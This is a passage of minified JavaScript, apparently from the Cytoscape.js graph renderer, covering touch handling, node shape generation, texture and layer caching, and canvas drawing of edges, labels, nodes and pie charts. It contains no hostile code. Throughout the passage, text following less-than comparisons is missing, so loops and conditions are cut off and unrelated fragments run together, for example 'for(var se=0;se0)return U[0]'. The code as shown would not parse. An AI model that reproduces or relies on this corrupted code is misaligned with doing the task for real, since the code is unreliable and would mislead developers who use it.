Ur.selectable()&&!Ur.selected()},"eleWouldBeSelected");Oe.emit(Ke("box")).stdFilter(et).select().emit(Ke("boxselect")),Oe.nonempty()&&t.redrawHint("eles",!0),t.redraw()}if(se?.unactivate(),z.touches[2])t.data.bgActivePosistion=void 0,t.redrawHint("select",!0);else if(!z.touches[1]){if(!z.touches[0]){if(!z.touches[0]){t.data.bgActivePosistion=void 0,t.redrawHint("select",!0);var Ue=t.dragData.touchDragEles;if(se!=null){var lt=se._private.grabbed;x(Ue),t.redrawHint("drag",!0),t.redrawHint("eles",!0),lt&&(se.emit(Ke("freeon")),Ue.emit(Ke("free")),t.dragData.didDrag&&(se.emit(Ke("dragfreeon")),Ue.emit(Ke("dragfree")))),i(se,["touchend","tapend","vmouseup","tapdragout"],z,{x:Re[0],y:Re[1]}),se.unactivate(),t.touchData.start=null}else{var Gt=t.findNearestElement(Re[0],Re[1],!0,!0);i(Gt,["touchend","tapend","vmouseup","tapdragout"],z,{x:Re[0],y:Re[1]})}var vt=t.touchData.startPosition[0]-Re[0],Lt=vt*vt,dt=t.touchData.startPosition[1]-Re[1],nt=dt*dt,bt=Lt+nt,wt=bt*ye*ye;t.touchData.singleTouchMoved||(se||ve.$(":selected").unselect(["tapunselect"]),i(se,["tap","vclick"],z,{x:Re[0],y:Re[1]}),Be=!1,z.timeStamp-He<=ve.multiClickDebounceTime()?(Ye&&clearTimeout(Ye),Be=!0,He=null,i(se,["dbltap","vdblclick"],z,{x:Re[0],y:Re[1]})):(Ye=setTimeout(function(){Be||i(se,["onetap","voneclick"],z,{x:Re[0],y:Re[1]})},ve.multiClickDebounceTime()),He=z.timeStamp)),se!=null&&!t.dragData.didDrag&&se._private.selectable&&wt"u"){var Le=[],Ie=o(function(z){return{clientX:z.clientX,clientY:z.clientY,force:1,identifier:z.pointerId,pageX:z.pageX,pageY:z.pageY,radiusX:z.width/2,radiusY:z.height/2,screenX:z.screenX,screenY:z.screenY,target:z.target}},"makeTouch"),Ne=o(function(z){return{event:z,touch:Ie(z)}},"makePointer"),Ce=o(function(z){Le.push(Ne(z))},"addPointer"),Fe=o(function(z){for(var se=0;se0)return U[0]}return null},"getCurveT"),g=Object.keys(p),y=0;y0?m:_ue(a,s,e,r,n,i,l,u)},"intersectLine"),checkPoint:o(function(e,r,n,i,a,s,l,u){u=u==="auto"?kf(i,a):u;var h=2*u;if(Vu(e,r,this.points,s,l,i,a-h,[0,-1],n)||Vu(e,r,this.points,s,l,i-h,a,[0,-1],n))return!0;var f=i/2+2*n,d=a/2+2*n,p=[s-f,l-d,s-f,l,s+f,l,s+f,l-d];return!!(Hs(e,r,p)||xp(e,r,h,h,s+i/2-u,l+a/2-u,n)||xp(e,r,h,h,s-i/2+u,l+a/2-u,n))},"checkPoint")}};Uu.registerNodeShapes=function(){var t=this.nodeShapes={},e=this;this.generateEllipse(),this.generatePolygon("triangle",ls(3,0)),this.generateRoundPolygon("round-triangle",ls(3,0)),this.generatePolygon("rectangle",ls(4,0)),t.square=t.rectangle,this.generateRoundRectangle(),this.generateCutRectangle(),this.generateBarrel(),this.generateBottomRoundrectangle();{var r=[0,1,1,0,0,-1,-1,0];this.generatePolygon("diamond",r),this.generateRoundPolygon("round-diamond",r)}this.generatePolygon("pentagon",ls(5,0)),this.generateRoundPolygon("round-pentagon",ls(5,0)),this.generatePolygon("hexagon",ls(6,0)),this.generateRoundPolygon("round-hexagon",ls(6,0)),this.generatePolygon("heptagon",ls(7,0)),this.generateRoundPolygon("round-heptagon",ls(7,0)),this.generatePolygon("octagon",ls(8,0)),this.generateRoundPolygon("round-octagon",ls(8,0));var n=new Array(20);{var i=HM(5,0),a=HM(5,Math.PI/5),s=.5*(3-Math.sqrt(5));s*=1.57;for(var l=0;l=e.deqFastCost*S)break}else if(h){if(b>=e.deqCost*m||b>=e.deqAvgCost*p)break}else if(T>=e.deqNoDrawCost*OM)break;var w=e.deq(n,v,y);if(w.length>0)for(var k=0;k0&&(e.onDeqd(n,g),!h&&e.shouldRedraw(n,g,v,y)&&a())},"dequeue"),l=e.priority||pI;i.beforeRender(s,l(n))}},"setupDequeueingImpl")},"setupDequeueing")},vHe=(function(){function t(e){var r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:Qk;Af(this,t),this.idsByKey=new zu,this.keyForId=new zu,this.cachesByLvl=new zu,this.lvls=[],this.getKey=e,this.doesEleInvalidateKey=r}return o(t,"ElementTextureCacheLookup"),_f(t,[{key:"getIdsFor",value:o(function(r){r==null&&Kn("Can not get id list for null key");var n=this.idsByKey,i=this.idsByKey.get(r);return i||(i=new hg,n.set(r,i)),i},"getIdsFor")},{key:"addIdForKey",value:o(function(r,n){r!=null&&this.getIdsFor(r).add(n)},"addIdForKey")},{key:"deleteIdForKey",value:o(function(r,n){r!=null&&this.getIdsFor(r).delete(n)},"deleteIdForKey")},{key:"getNumberOfIdsForKey",value:o(function(r){return r==null?0:this.getIdsFor(r).size},"getNumberOfIdsForKey")},{key:"updateKeyMappingFor",value:o(function(r){var n=r.id(),i=this.keyForId.get(n),a=this.getKey(r);this.deleteIdForKey(i,n),this.addIdForKey(a,n),this.keyForId.set(n,a)},"updateKeyMappingFor")},{key:"deleteKeyMappingFor",value:o(function(r){var n=r.id(),i=this.keyForId.get(n);this.deleteIdForKey(i,n),this.keyForId.delete(n)},"deleteKeyMappingFor")},{key:"keyHasChangedFor",value:o(function(r){var n=r.id(),i=this.keyForId.get(n),a=this.getKey(r);return i!==a},"keyHasChangedFor")},{key:"isInvalid",value:o(function(r){return this.keyHasChangedFor(r)||this.doesEleInvalidateKey(r)},"isInvalid")},{key:"getCachesAt",value:o(function(r){var n=this.cachesByLvl,i=this.lvls,a=n.get(r);return a||(a=new zu,n.set(r,a),i.push(r)),a},"getCachesAt")},{key:"getCache",value:o(function(r,n){return this.getCachesAt(n).get(r)},"getCache")},{key:"get",value:o(function(r,n){var i=this.getKey(r),a=this.getCache(i,n);return a!=null&&this.updateKeyMappingFor(r),a},"get")},{key:"getForCachedKey",value:o(function(r,n){var i=this.keyForId.get(r.id()),a=this.getCache(i,n);return a},"getForCachedKey")},{key:"hasCache",value:o(function(r,n){return this.getCachesAt(n).has(r)},"hasCache")},{key:"has",value:o(function(r,n){var i=this.getKey(r);return this.hasCache(i,n)},"has")},{key:"setCache",value:o(function(r,n,i){i.key=r,this.getCachesAt(n).set(r,i)},"setCache")},{key:"set",value:o(function(r,n,i){var a=this.getKey(r);this.setCache(a,n,i),this.updateKeyMappingFor(r)},"set")},{key:"deleteCache",value:o(function(r,n){this.getCachesAt(n).delete(r)},"deleteCache")},{key:"delete",value:o(function(r,n){var i=this.getKey(r);this.deleteCache(i,n)},"_delete")},{key:"invalidateKey",value:o(function(r){var n=this;this.lvls.forEach(function(i){return n.deleteCache(r,i)})},"invalidateKey")},{key:"invalidate",value:o(function(r){var n=r.id(),i=this.keyForId.get(n);this.deleteKeyMappingFor(r);var a=this.doesEleInvalidateKey(r);return a&&this.invalidateKey(i),a||this.getNumberOfIdsForKey(i)===0},"invalidate")}])})(),Hce=25,Ok=50,Wk=-4,iI=3,Nhe=7.99,xHe=8,bHe=1024,THe=1024,wHe=1024,kHe=.2,EHe=.8,SHe=10,CHe=.15,AHe=.1,_He=.9,DHe=.9,LHe=100,RHe=1,ng={dequeue:"dequeue",downscale:"downscale",highQuality:"highQuality"},NHe=xa({getKey:null,doesEleInvalidateKey:Qk,drawElement:null,getBoundingBox:null,getRotationPoint:null,getRotationOffset:null,isVisible:Tue,allowEdgeTxrCaching:!0,allowParentTxrCaching:!0}),ex=o(function(e,r){var n=this;n.renderer=e,n.onDequeues=[];var i=NHe(r);ir(n,i),n.lookup=new vHe(i.getKey,i.doesEleInvalidateKey),n.setupDequeueing()},"ElementTextureCache"),zi=ex.prototype;zi.reasons=ng;zi.getTextureQueue=function(t){var e=this;return e.eleImgCaches=e.eleImgCaches||{},e.eleImgCaches[t]=e.eleImgCaches[t]||[]};zi.getRetiredTextureQueue=function(t){var e=this,r=e.eleImgCaches.retired=e.eleImgCaches.retired||{},n=r[t]=r[t]||[];return n};zi.getElementQueue=function(){var t=this,e=t.eleCacheQueue=t.eleCacheQueue||new bx(function(r,n){return n.reqs-r.reqs});return e};zi.getElementKeyToQueue=function(){var t=this,e=t.eleKeyToCacheQueue=t.eleKeyToCacheQueue||{};return e};zi.getElement=function(t,e,r,n,i){var a=this,s=this.renderer,l=s.cy.zoom(),u=this.lookup;if(!e||e.w===0||e.h===0||isNaN(e.w)||isNaN(e.h)||!t.visible()||t.removed()||!a.allowEdgeTxrCaching&&t.isEdge()||!a.allowParentTxrCaching&&t.isParent())return null;if(n==null&&(n=Math.ceil(gI(l*r))),n=Nhe||n>iI)return null;var h=Math.pow(2,n),f=e.h*h,d=e.w*h,p=s.eleTextBiggerThanMin(t,h);if(!this.isVisible(t,p))return null;var m=u.get(t,n);if(m&&m.invalidated&&(m.invalidated=!1,m.texture.invalidatedWidth-=m.width),m)return m;var g;if(f<=Hce?g=Hce:f<=Ok?g=Ok:g=Math.ceil(f/Ok)*Ok,f>wHe||d>THe)return null;var y=a.getTextureQueue(g),v=y[y.length-2],x=o(function(){return a.recycleTexture(g,d)||a.addTexture(g,d)},"addNewTxr");v||(v=y[y.length-1]),v||(v=x()),v.width-v.usedWidthn;L--)R=a.getElement(t,e,r,L,ng.downscale);I()}else return a.queueElement(t,k.level-1),k;else{var E;if(!T&&!S&&!w)for(var D=n-1;D>=Wk;D--){var _=u.get(t,D);if(_){E=_;break}}if(b(E))return a.queueElement(t,n),E;v.context.translate(v.usedWidth,0),v.context.scale(h,h),this.drawElement(v.context,t,e,p,!1),v.context.scale(1/h,1/h),v.context.translate(-v.usedWidth,0)}return m={x:v.usedWidth,texture:v,level:n,scale:h,width:d,height:f,scaledLabelShown:p},v.usedWidth+=Math.ceil(d+xHe),v.eleCaches.push(m),u.set(t,n,m),a.checkTextureFullness(v),m};zi.invalidateElements=function(t){for(var e=0;e=kHe*t.width&&this.retireTexture(t)};zi.checkTextureFullness=function(t){var e=this,r=e.getTextureQueue(t.height);t.usedWidth/t.width>EHe&&t.fullnessChecks>=SHe?wf(r,t):t.fullnessChecks++};zi.retireTexture=function(t){var e=this,r=t.height,n=e.getTextureQueue(r),i=this.lookup;wf(n,t),t.retired=!0;for(var a=t.eleCaches,s=0;s=e)return s.retired=!1,s.usedWidth=0,s.invalidatedWidth=0,s.fullnessChecks=0,mI(s.eleCaches),s.context.setTransform(1,0,0,1,0,0),s.context.clearRect(0,0,s.width,s.height),wf(i,s),n.push(s),s}};zi.queueElement=function(t,e){var r=this,n=r.getElementQueue(),i=r.getElementKeyToQueue(),a=this.getKey(t),s=i[a];if(s)s.level=Math.max(s.level,e),s.eles.merge(t),s.reqs++,n.updateItem(s);else{var l={eles:t.spawn().merge(t),level:e,reqs:1,key:a};n.push(l),i[a]=l}};zi.dequeue=function(t){for(var e=this,r=e.getElementQueue(),n=e.getElementKeyToQueue(),i=[],a=e.lookup,s=0;s0;s++){var l=r.pop(),u=l.key,h=l.eles[0],f=a.hasCache(h,l.level);if(n[u]=null,f)continue;i.push(l);var d=e.getBoundingBox(h);e.getElement(h,d,t,l.level,ng.dequeue)}return i};zi.removeFromQueue=function(t){var e=this,r=e.getElementQueue(),n=e.getElementKeyToQueue(),i=this.getKey(t),a=n[i];a!=null&&(a.eles.length===1?(a.reqs=dI,r.updateItem(a),r.pop(),n[i]=null):a.eles.unmerge(t))};zi.onDequeue=function(t){this.onDequeues.push(t)};zi.offDequeue=function(t){wf(this.onDequeues,t)};zi.setupDequeueing=Rhe.setupDequeueing({deqRedrawThreshold:LHe,deqCost:CHe,deqAvgCost:AHe,deqNoDrawCost:_He,deqFastCost:DHe,deq:o(function(e,r,n){return e.dequeue(r,n)},"deq"),onDeqd:o(function(e,r){for(var n=0;n=IHe||r>aE)return null}n.validateLayersElesOrdering(r,t);var u=n.layersByLevel,h=Math.pow(2,r),f=u[r]=u[r]||[],d,p=n.levelIsComplete(r,t),m,g=o(function(){var I=o(function(O){if(n.validateLayersElesOrdering(O,t),n.levelIsComplete(O,t))return m=u[O],!0},"canUseAsTmpLvl"),L=o(function(O){if(!m)for(var M=r+O;rx<=M&&M<=aE&&!I(M);M+=O);},"checkLvls");L(1),L(-1);for(var E=f.length-1;E>=0;E--){var D=f[E];D.invalid&&wf(f,D)}},"checkTempLevels");if(!p)g();else return f;var y=o(function(){if(!d){d=cs();for(var I=0;IWce||D>Wce)return null;var _=E*D;if(_>VHe)return null;var O=n.makeLayer(d,r);if(L!=null){var M=f.indexOf(L)+1;f.splice(M,0,O)}else(I.insert===void 0||I.insert)&&f.unshift(O);return O},"makeLayer");if(n.skipping&&!l)return null;for(var x=null,b=t.length/MHe,T=!l,S=0;S=b||!Aue(x.bb,w.boundingBox()))&&(x=v({insert:!0,after:x}),!x))return null;m||T?n.queueLayer(x,w):n.drawEleInLayer(x,w,r,e),x.eles.push(w),A[r]=x}return m||(T?null:f)};ba.getEleLevelForLayerLevel=function(t,e){return t};ba.drawEleInLayer=function(t,e,r,n){var i=this,a=this.renderer,s=t.context,l=e.boundingBox();l.w===0||l.h===0||!e.visible()||(r=i.getEleLevelForLayerLevel(r,n),a.setImgSmoothing(s,!1),a.drawCachedElement(s,e,null,null,r,UHe),a.setImgSmoothing(s,!0))};ba.levelIsComplete=function(t,e){var r=this,n=r.layersByLevel[t];if(!n||n.length===0)return!1;for(var i=0,a=0;a0||s.invalid)return!1;i+=s.eles.length}return i===e.length};ba.validateLayersElesOrdering=function(t,e){var r=this.layersByLevel[t];if(r)for(var n=0;n0){e=!0;break}}return e};ba.invalidateElements=function(t){var e=this;t.length!==0&&(e.lastInvalidationTime=Gu(),!(t.length===0||!e.haveLayers())&&e.updateElementsInLayers(t,o(function(n,i,a){e.invalidateLayer(n)},"invalAssocLayers")))};ba.invalidateLayer=function(t){if(this.lastInvalidationTime=Gu(),!t.invalid){var e=t.level,r=t.eles,n=this.layersByLevel[e];wf(n,t),t.elesQueue=[],t.invalid=!0,t.replacement&&(t.replacement.invalid=!0);for(var i=0;i3&&arguments[3]!==void 0?arguments[3]:!0,i=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!0,a=arguments.length>5&&arguments[5]!==void 0?arguments[5]:!0,s=this,l=e._private.rscratch;if(!(a&&!e.visible())&&!(l.badLine||l.allpts==null||isNaN(l.allpts[0]))){var u;r&&(u=r,t.translate(-u.x1,-u.y1));var h=a?e.pstyle("opacity").value:1,f=a?e.pstyle("line-opacity").value:1,d=e.pstyle("curve-style").value,p=e.pstyle("line-style").value,m=e.pstyle("width").pfValue,g=e.pstyle("line-cap").value,y=e.pstyle("line-outline-width").value,v=e.pstyle("line-outline-color").value,x=h*f,b=h*f,T=o(function(){var O=arguments.length>0&&arguments[0]!==void 0?arguments[0]:x;d==="straight-triangle"?(s.eleStrokeStyle(t,e,O),s.drawEdgeTrianglePath(e,t,l.allpts)):(t.lineWidth=m,t.lineCap=g,s.eleStrokeStyle(t,e,O),s.drawEdgePath(e,t,l.allpts,p),t.lineCap="butt")},"drawLine"),S=o(function(){var O=arguments.length>0&&arguments[0]!==void 0?arguments[0]:x;if(t.lineWidth=m+y,t.lineCap=g,y>0)s.colorStrokeStyle(t,v[0],v[1],v[2],O);else{t.lineCap="butt";return}d==="straight-triangle"?s.drawEdgeTrianglePath(e,t,l.allpts):(s.drawEdgePath(e,t,l.allpts,p),t.lineCap="butt")},"drawLineOutline"),w=o(function(){i&&s.drawEdgeOverlay(t,e)},"drawOverlay"),k=o(function(){i&&s.drawEdgeUnderlay(t,e)},"drawUnderlay"),A=o(function(){var O=arguments.length>0&&arguments[0]!==void 0?arguments[0]:b;s.drawArrowheads(t,e,O)},"drawArrows"),C=o(function(){s.drawElementText(t,e,null,n)},"drawText");t.lineJoin="round";var R=e.pstyle("ghost").value==="yes";if(R){var I=e.pstyle("ghost-offset-x").pfValue,L=e.pstyle("ghost-offset-y").pfValue,E=e.pstyle("ghost-opacity").value,D=x*E;t.translate(I,L),T(D),A(D),t.translate(-I,-L)}else S();k(),T(),A(),w(),C(),r&&t.translate(u.x1,u.y1)}};Ohe=o(function(e){if(!["overlay","underlay"].includes(e))throw new Error("Invalid state");return function(r,n){if(n.visible()){var i=n.pstyle("".concat(e,"-opacity")).value;if(i!==0){var a=this,s=a.usePaths(),l=n._private.rscratch,u=n.pstyle("".concat(e,"-padding")).pfValue,h=2*u,f=n.pstyle("".concat(e,"-color")).value;r.lineWidth=h,l.edgeType==="self"&&!s?r.lineCap="butt":r.lineCap="round",a.colorStrokeStyle(r,f[0],f[1],f[2],i),a.drawEdgePath(n,r,l.allpts,"solid")}}}},"drawEdgeOverlayUnderlay");Hu.drawEdgeOverlay=Ohe("overlay");Hu.drawEdgeUnderlay=Ohe("underlay");Hu.drawEdgePath=function(t,e,r,n){var i=t._private.rscratch,a=e,s,l=!1,u=this.usePaths(),h=t.pstyle("line-dash-pattern").pfValue,f=t.pstyle("line-dash-offset").pfValue;if(u){var d=r.join("$"),p=i.pathCacheKey&&i.pathCacheKey===d;p?(s=e=i.pathCache,l=!0):(s=e=new Path2D,i.pathCacheKey=d,i.pathCache=s)}if(a.setLineDash)switch(n){case"dotted":a.setLineDash([1,1]);break;case"dashed":a.setLineDash(h),a.lineDashOffset=f;break;case"solid":a.setLineDash([]);break}if(!l&&!i.badLine)switch(e.beginPath&&e.beginPath(),e.moveTo(r[0],r[1]),i.edgeType){case"bezier":case"self":case"compound":case"multibezier":for(var m=2;m+35&&arguments[5]!==void 0?arguments[5]:!0,s=this;if(n==null){if(a&&!s.eleTextBiggerThanMin(e))return}else if(n===!1)return;if(e.isNode()){var l=e.pstyle("label");if(!l||!l.value)return;var u=s.getLabelJustification(e);t.textAlign=u,t.textBaseline="bottom"}else{var h=e.element()._private.rscratch.badLine,f=e.pstyle("label"),d=e.pstyle("source-label"),p=e.pstyle("target-label");if(h||(!f||!f.value)&&(!d||!d.value)&&(!p||!p.value))return;t.textAlign="center",t.textBaseline="bottom"}var m=!r,g;r&&(g=r,t.translate(-g.x1,-g.y1)),i==null?(s.drawText(t,e,null,m,a),e.isEdge()&&(s.drawText(t,e,"source",m,a),s.drawText(t,e,"target",m,a))):s.drawText(t,e,i,m,a),r&&t.translate(g.x1,g.y1)};Cp.getFontCache=function(t){var e;this.fontCaches=this.fontCaches||[];for(var r=0;r2&&arguments[2]!==void 0?arguments[2]:!0,n=e.pstyle("font-style").strValue,i=e.pstyle("font-size").pfValue+"px",a=e.pstyle("font-family").strValue,s=e.pstyle("font-weight").strValue,l=r?e.effectiveOpacity()*e.pstyle("text-opacity").value:1,u=e.pstyle("text-outline-opacity").value*l,h=e.pstyle("color").value,f=e.pstyle("text-outline-color").value;t.font=n+" "+s+" "+i+" "+a,t.lineJoin="round",this.colorFillStyle(t,h[0],h[1],h[2],l),this.colorStrokeStyle(t,f[0],f[1],f[2],u)};o(eqe,"circle");o(Kce,"roundRect");Cp.getTextAngle=function(t,e){var r,n=t._private,i=n.rscratch,a=e?e+"-":"",s=t.pstyle(a+"text-rotation");if(s.strValue==="autorotate"){var l=Us(i,"labelAngle",e);r=t.isEdge()?l:0}else s.strValue==="none"?r=0:r=s.pfValue;return r};Cp.drawText=function(t,e,r){var n=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!0,i=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!0,a=e._private,s=a.rscratch,l=i?e.effectiveOpacity():1;if(!(i&&(l===0||e.pstyle("text-opacity").value===0))){r==="main"&&(r=null);var u=Us(s,"labelX",r),h=Us(s,"labelY",r),f,d,p=this.getLabelText(e,r);if(p!=null&&p!==""&&!isNaN(u)&&!isNaN(h)){this.setupTextStyle(t,e,i);var m=r?r+"-":"",g=Us(s,"labelWidth",r),y=Us(s,"labelHeight",r),v=e.pstyle(m+"text-margin-x").pfValue,x=e.pstyle(m+"text-margin-y").pfValue,b=e.isEdge(),T=e.pstyle("text-halign").value,S=e.pstyle("text-valign").value;b&&(T="center",S="center"),u+=v,h+=x;var w;switch(n?w=this.getTextAngle(e,r):w=0,w!==0&&(f=u,d=h,t.translate(f,d),t.rotate(w),u=0,h=0),S){case"top":break;case"center":h+=y/2;break;case"bottom":h+=y;break}var k=e.pstyle("text-background-opacity").value,A=e.pstyle("text-border-opacity").value,C=e.pstyle("text-border-width").pfValue,R=e.pstyle("text-background-padding").pfValue,I=e.pstyle("text-background-shape").strValue,L=I==="round-rectangle"||I==="roundrectangle",E=I==="circle",D=2;if(k>0||C>0&&A>0){var _=t.fillStyle,O=t.strokeStyle,M=t.lineWidth,P=e.pstyle("text-background-color").value,B=e.pstyle("text-border-color").value,F=e.pstyle("text-border-style").value,G=k>0,$=C>0&&A>0,U=u-R;switch(T){case"left":U-=g;break;case"center":U-=g/2;break}var j=h-y-R,te=g+2*R,Y=y+2*R;if(G&&(t.fillStyle="rgba(".concat(P[0],",").concat(P[1],",").concat(P[2],",").concat(k*l,")")),$&&(t.strokeStyle="rgba(".concat(B[0],",").concat(B[1],",").concat(B[2],",").concat(A*l,")"),t.lineWidth=C,t.setLineDash))switch(F){case"dotted":t.setLineDash([1,1]);break;case"dashed":t.setLineDash([4,2]);break;case"double":t.lineWidth=C/4,t.setLineDash([]);break;case"solid":default:t.setLineDash([]);break}if(L?(t.beginPath(),Kce(t,U,j,te,Y,D)):E?(t.beginPath(),eqe(t,U,j,te,Y)):(t.beginPath(),t.rect(U,j,te,Y)),G&&t.fill(),$&&t.stroke(),$&&F==="double"){var oe=C/2;t.beginPath(),L?Kce(t,U+oe,j+oe,te-2*oe,Y-2*oe,D):t.rect(U+oe,j+oe,te-2*oe,Y-2*oe),t.stroke()}t.fillStyle=_,t.strokeStyle=O,t.lineWidth=M,t.setLineDash&&t.setLineDash([])}var J=2*e.pstyle("text-outline-width").pfValue;if(J>0&&(t.lineWidth=J),e.pstyle("text-wrap").value==="wrap"){var ue=Us(s,"labelWrapCachedLines",r),re=Us(s,"labelLineHeight",r),ee=g/2,Z=this.getLabelJustification(e);switch(Z==="auto"||(T==="left"?Z==="left"?u+=-g:Z==="center"&&(u+=-ee):T==="center"?Z==="left"?u+=-ee:Z==="right"&&(u+=ee):T==="right"&&(Z==="center"?u+=ee:Z==="right"&&(u+=g))),S){case"top":h-=(ue.length-1)*re;break;case"center":case"bottom":h-=(ue.length-1)*re;break}for(var K=0;K0&&t.strokeText(ue[K],u,h),t.fillText(ue[K],u,h),h+=re}else J>0&&t.strokeText(p,u,h),t.fillText(p,u,h);w!==0&&(t.rotate(-w),t.translate(-f,-d))}}};Lf={};Lf.drawNode=function(t,e,r){var n=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!0,i=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!0,a=arguments.length>5&&arguments[5]!==void 0?arguments[5]:!0,s=this,l,u,h=e._private,f=h.rscratch,d=e.position();if(!(!At(d.x)||!At(d.y))&&!(a&&!e.visible())){var p=a?e.effectiveOpacity():1,m=s.usePaths(),g,y=!1,v=e.padding();l=e.width()+2*v,u=e.height()+2*v;var x;r&&(x=r,t.translate(-x.x1,-x.y1));for(var b=e.pstyle("background-image"),T=b.value,S=new Array(T.length),w=new Array(T.length),k=0,A=0;A0&&arguments[0]!==void 0?arguments[0]:D;s.eleFillStyle(t,e,W)},"setupShapeColor"),re=o(function(){var W=arguments.length>0&&arguments[0]!==void 0?arguments[0]:$;s.colorStrokeStyle(t,_[0],_[1],_[2],W)},"setupBorderColor"),ee=o(function(){var W=arguments.length>0&&arguments[0]!==void 0?arguments[0]:Y;s.colorStrokeStyle(t,j[0],j[1],j[2],W)},"setupOutlineColor"),Z=o(function(W,he,z,se){var le=s.nodePathCache=s.nodePathCache||[],ke=bue(z==="polygon"?z+","+se.join(","):z,""+he,""+W,""+J),ve=le[ke],ye,Re=!1;return ve!=null?(ye=ve,Re=!0,f.pathCache=ye):(ye=new Path2D,le[ke]=f.pathCache=ye),{path:ye,cacheHit:Re}},"getPath"),K=e.pstyle("shape").strValue,ae=e.pstyle("shape-polygon-points").pfValue;if(m){t.translate(d.x,d.y);var Q=Z(l,u,K,ae);g=Q.path,y=Q.cacheHit}var de=o(function(){if(!y){var W=d;m&&(W={x:0,y:0}),s.nodeShapes[s.getNodeShape(e)].draw(g||t,W.x,W.y,l,u,J,f)}m?t.fill(g):t.fill()},"drawShape"),ne=o(function(){for(var W=arguments.length>0&&arguments[0]!==void 0?arguments[0]:p,he=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0,z=h.backgrounding,se=0,le=0;le0&&arguments[0]!==void 0?arguments[0]:!1,he=arguments.length>1&&arguments[1]!==void 0?arguments[1]:p;s.hasPie(e)&&(s.drawPie(t,e,he),W&&(m||s.nodeShapes[s.getNodeShape(e)].draw(t,d.x,d.y,l,u,J,f)))},"drawPie"),q=o(function(){var W=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!1,he=arguments.length>1&&arguments[1]!==void 0?arguments[1]:p;s.hasStripe(e)&&(t.save(),m?t.clip(f.pathCache):(s.nodeShapes[s.getNodeShape(e)].draw(t,d.x,d.y,l,u,J,f),t.clip()),s.drawStripe(t,e,he),t.restore(),W&&(m||s.nodeShapes[s.getNodeShape(e)].draw(t,d.x,d.y,l,u,J,f)))},"drawStripe"),Ve=o(function(){var W=arguments.length>0&&arguments[0]!==void 0?arguments[0]:p,he=(L>0?L:-L)*W,z=L>0?0:255;L!==0&&(s.colorFillStyle(t,z,z,z,he),m?t.fill(g):t.fill())},"darken"),pe=o(function(){if(E>0){if(t.lineWidth=E,t.lineCap=P,t.lineJoin=M,t.setLineDash)switch(O){case"dotted":t.setLineDash([1,1]);break;case"dashed":t.setLineDash(F),t.lineDashOffset=G;break;case"solid":case"double":t.setLineDash([]);break}if(B!=="center"){if(t.save(),t.lineWidth*=2,B==="inside")m?t.clip(g):t.clip();else{var W=new Path2D;W.rect(-l/2-E,-u/2-E,l+2*E,u+2*E),W.addPath(g),t.clip(W,"evenodd")}m?t.stroke(g):t.stroke(),t.restore()}else m?t.stroke(g):t.stroke();if(O==="double"){t.lineWidth=E/3;var he=t.globalCompositeOperation;t.globalCompositeOperation="destination-out",m?t.stroke(g):t.stroke(),t.globalCompositeOperation=he}t.setLineDash&&t.setLineDash([])}},"drawBorder"),Be=o(function(){if(U>0){if(t.lineWidth=U,t.lineCap="butt",t.setLineDash)switch(te){case"dotted":t.setLineDash([1,1]);break;case"dashed":t.setLineDash([4,2]);break;case"solid":case"double":t.setLineDash([]);break}var W=d;m&&(W={x:0,y:0});var he=s.getNodeShape(e),z=E;B==="inside"&&(z=0),B==="outside"&&(z*=2);var se=(l+z+(U+oe))/l,le=(u+z+(U+oe))/u,ke=l*se,ve=u*le,ye=s.nodeShapes[he].points,Re;if(m){var _e=Z(ke,ve,he,ye);Re=_e.path}if(he==="ellipse")s.drawEllipsePath(Re||t,W.x,W.y,ke,ve);else if(["round-diamond","round-heptagon","round-hexagon","round-octagon","round-pentagon","round-polygon","round-triangle","round-tag"].includes(he)){var ze=0,Ke=0,xt=0;he==="round-diamond"?ze=(z+oe+U)*1.4:he==="round-heptagon"?(ze=(z+oe+U)*1.075,xt=-(z/2+oe+U)/35):he==="round-hexagon"?ze=(z+oe+U)*1.12:he==="round-pentagon"?(ze=(z+oe+U)*1.13,xt=-(z/2+oe+U)/15):he==="round-tag"?(ze=(z+oe+U)*1.12,Ke=(z/2+U+oe)*.07):he==="round-triangle"&&(ze=(z+oe+U)*(Math.PI/2),xt=-(z+oe/2+U)/Math.PI),ze!==0&&(se=(l+ze)/l,ke=l*se,["round-hexagon","round-tag"].includes(he)||(le=(u+ze)/u,ve=u*le)),J=J==="auto"?Lue(ke,ve):J;for(var We=ke/2,Oe=ve/2,et=J+(z+U+oe)/2,Ue=new Array(ye.length/2),lt=new Array(ye.length/2),Gt=0;Gt0){if(i=i||n.position(),a==null||s==null){var m=n.padding();a=n.width()+2*m,s=n.height()+2*m}l.colorFillStyle(r,f[0],f[1],f[2],h),l.nodeShapes[d].draw(r,i.x,i.y,a+u*2,s+u*2,p),r.fill()}}}},"drawNodeOverlayUnderlay");Lf.drawNodeOverlay=Phe("overlay");Lf.drawNodeUnderlay=Phe("underlay");Lf.hasPie=function(t){return t=t[0],t._private.hasPie};Lf.hasStripe=function(t){return t=t[0],t._private.hasStripe};Lf.drawPie=function(t,e,r,n){e=e[0],n=n||e.position();var i=e.cy().style(),a=e.pstyle("pie-size"),s=e.pstyle("pie-hole"),l=e.pstyle("pie-start-angle").pfValue,u=n.x,h=n.y,f=e.width(),d=e.height(),p=Math.min(f,d)/2,m,g=0,y=this.usePaths();if(y&&(u=0,h=0),a.units==="%"?p=p*a.pfValue:a.pfValue!==void 0&&(p=a.pfValue/2),s.units==="%"?m=p*s.pfValue:s.pfValue!==void 0&&(m=s.pfValue/2),!(m>=p))for(var v=1;v<=i.pieBackgroundN;v++){var x=e.pstyle("pie-"+v+"-background-size").value,b=e.pstyle("pie-"+v+"-background-color").value,T=e.pstyle("pie-"+v+"-background-opacity").value*r,S=x/100;S+g>1&&(S=1-g);var w=1.5*Math.PI+2*Math.PI*g;w+=l;var k=2*Math.PI*S,A=w+k;x===0||g>=1||g+S>1||(m===0?(t.beginPath(),t.moveTo(u,h),t.arc(u,h,p,w,A),t.closePath()):(t.beginPath(),t.arc(u,h,p,w,A),t.arc(u,h,m,A,w,!0),t.closePath()),this.colorFillStyle(t,b[0],b[1],b[2],T),t.fill(),g+=S)}};Lf.drawStripe=function(t,e,r,n){e=e[0],n=n||e.position();var i=e.cy().style(),a=n.x,s=n.y,l=e.width(),u=e.height(),h=0,f=this.usePaths();t.save();var 